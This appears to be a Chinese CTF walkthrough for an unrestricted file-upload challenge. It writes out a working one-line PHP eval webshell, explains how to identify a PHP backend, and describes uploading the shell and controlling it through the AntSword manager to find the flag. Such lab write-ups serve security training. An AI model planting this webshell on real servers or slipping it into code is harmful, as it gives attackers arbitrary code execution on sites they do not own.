无验证

点击此处获得更好的阅读体验

## 来源
来自jazz499原创投稿
## 题目考点
- 文件上传
- 语言环境判断
- PHP木马
- shell管理工具

解题思路

咱们一般做题首先都会关注题目名称,比如这道题的题目名称就叫做无验证-文件上传

那么就不难理解了,无验证-->即对上传的文件没有做任何验证。

那么整体的解题思路就有了

上传木马-->获得靶机shell-->在网站(服务器)中寻找flag

正片开始

浏览器打开环境地址后如图所示:

映入眼帘的是”文件上传-无限制“

接下来就是上传PHP木马了

什么是PHP木马

经典一句话木马大多都是只有两个部分,一个是可以执行代码的函数部分,一个是接收数据的部分。

例如:<?php eval(@$_POST['a']); ?>

其中eval就是执行命令的函数,**$_POST['a']**就是接收的数据。eval函数把接收的数据当作PHP代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。这便是一句话木马的强大之处。

为什么要上传PHP木马而不是JSP,ASPX的木马

通过环境来看,基本判断方式有以下几种:

1
2
3
1.看文件后缀
2.插件检测(Wappalyzer)
3.响应包判断

如网页显示 xxxx.com/index.php,或者右键源代码中,表单提交action="upload.php"

有一款浏览器插件叫做Wappalyzer,可以检测当前页面的基础环境,如中间件,前后端语言等

看响应包如burpsuite的响应包如下:X-Powered-By: PHP/7.3.14

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Server: openresty/1.15.8.2
Date: Mon, 21 Sep 2020 14:56:55 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 508
Connection: close
X-Powered-By: PHP/7.3.14
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *

接下来就常规上传了,咱们把一句话木马保存成文件 yjh.php

<?php eval(@$_POST['a']); ?>

点击选择文件上传一句话木马

页面返回路径

故构造路径http://challenge-1f35d2735e6cad1b.sandbox.ctfhub.com:10080/upload/yjh.php

给yjh.php POST进去一串测试payloadphpinfo给显示出来

为了方便 这里使用shell管理工具中国蚁剑来连接木马

如下图 在网站根目录发现flag字样文件

打开文件获取flag